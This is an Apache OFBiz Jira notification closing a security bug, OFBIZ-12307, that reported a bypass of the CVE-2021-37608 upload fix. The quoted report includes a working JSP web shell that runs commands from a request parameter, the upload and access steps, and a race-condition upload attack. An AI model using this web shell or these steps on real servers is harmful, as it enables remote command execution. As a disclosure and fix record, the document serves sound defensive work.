[jira] [Closed] (OFBIZ-12307) CVE-2021-37608 vulnerability bypass

["Jacques Le Roux (Jira)" <ji...@apache.org>]

     [ https://issues.apache.org/jira/browse/OFBIZ-12307?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jacques Le Roux closed OFBIZ-12307.
-----------------------------------
    Fix Version/s: Release Branch 17.12
                   18.12.01
       Resolution: Fixed

Hi thiscodecc,

You said 
bq. The code logic used to verify the file upload is to upload the file first and then delete it after judging that it is malicious.This will create a race condition loophole.

With my last commit, due to weinull's recommendation, I think there is no longer any possible race condition loophole, so closing

> CVE-2021-37608 vulnerability bypass
> -----------------------------------
>
>                 Key: OFBIZ-12307
>                 URL: https://issues.apache.org/jira/browse/OFBIZ-12307
>             Project: OFBiz
>          Issue Type: Bug
>    Affects Versions: 17.12.08
>            Reporter: thiscodecc
>            Assignee: Jacques Le Roux
>            Priority: Major
>              Labels: security
>             Fix For: 18.12.01, Release Branch 17.12
>
>
> The patch ([https://github.com/apache/ofbiz-framework/commit/8d49af4/#diff-75dac0d18a6bc59554dded12b9b01563651e05a2df6cede9d7d3e2b42b7fc382]) for the CVE-2021-37608 vulnerability can be bypassed.
> Verification process:
>  1.Create a new xx.png.jsp file.
>  The content of the xx.png.jsp file is:
>  <%
> java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
>  int a = -1;
>  byte[] b = new byte[2048];
>  out.print("<pre>");
>  while((a=in.read(b))!=-1)
> { out.println(new String(b)); }
> out.print("</pre>");
> %>
> 2.Upload the xx.png.jsp file directly
>  3.Visit the jsp Trojan address "https://localhost:8443/images/products/management/WG-9943/xx.png.jsp?i=whoami"
>  
> I carefully analyzed the code of this logic again and found multiple problems.
> the reasons for the vulnerabilities are:
> Here will upload the file first.
>  [https://github.com/apache/ofbiz-framework/blob/trunk/applications/product/src/main/java/org/apache/ofbiz/product/imagemanagement/ImageManagementServices.java#L159-#L162]
> When verifying the file name, because the file name is "xx.png.jsp", so "wrongFile=true".
>  [https://github.com/apache/ofbiz-framework/blob/trunk/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java#L128]
> Because "wrongFile=true", isValidFile method will exit early.
>  [https://github.com/apache/ofbiz-framework/blob/trunk/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java#L137]
> So that the malicious file is not deleted.
>  [https://github.com/apache/ofbiz-framework/blob/trunk/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java#L215]
> The above is the reason for the vulnerability mentioned in my last email.
> I also found a new problem. The code logic used to verify the file upload is to upload the file first and then delete it after judging that it is malicious.This will create a race condition loophole.
>  Use multiple threads to upload the xxx.jsp file, and then keep accessing the xxx.jsp file. Since ofbiz adopts the verification rule of uploading and then deleting, then xxx.jsp will be uploaded successfully, and ofbiz has not successfully deleted "xxx.jsp". The file, "xxx.jsp" file was requested by the attacker first. This will create an arbitrary file upload vulnerability.



--
This message was sent by Atlassian Jira
(v8.3.4#803005)